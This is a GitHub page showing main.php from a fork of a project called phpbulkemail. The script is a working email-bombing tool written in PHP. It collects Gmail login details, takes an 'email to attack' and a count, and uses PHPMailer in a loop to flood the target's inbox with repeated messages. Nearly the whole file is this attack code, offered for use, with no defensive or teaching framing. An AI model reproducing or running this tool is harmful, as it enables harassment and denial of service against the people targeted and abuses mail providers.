forked from zeitclear/phpbulkemail
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.php
67 lines (48 loc) · 1.78 KB
/
main.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
function ask_hidden() {
echo "[#] Your password: ";
echo "\033[30;40m";
$password = readline();
echo "\033[0m";
return rtrim($password, "\n");
}
echo "\n-> phpbulkemail\n";
echo "-> https://github.com/zeitclear/phpbulkemail \n";
echo "------------------------------------------------ \n\n";
$email = readline("[#] Your email: ");
$password = ask_hidden();
$emailToAttack = readline("[#] Email to attack: ");
$quantity = readline("[#] Quantity to send emails: ");
echo "------------------------------------------------ \n";
$subject = readline("[!] Subject: ");
$body = readline("[!] Body: ");
echo "------------------------------------------------ \n";
// PHPMailer required (composer require phpmailer/phpmailer)
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'vendor/autoload.php';
$mail = new PHPMailer(true);
$count = 0;
while($count <= $quantity) {
try {
$mail->isSMTP();
$mail->Host = 'smtp.gmail.com';
$mail->SMTPAuth = true;
$mail->Username = $email;
$mail->Password = $password;
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->Port = 587;
$mail->setFrom($email);
$mail->addAddress($emailToAttack);
$mail->isHTML(true);
$mail->Subject = $subject;
$mail->Body = $body;
$mail->send();
echo "[$count] Email sent to {$emailToAttack}!\n";
} catch (Exception $e) {
echo "Error: {$mail->ErrorInfo}";
}
$count++;
}
?>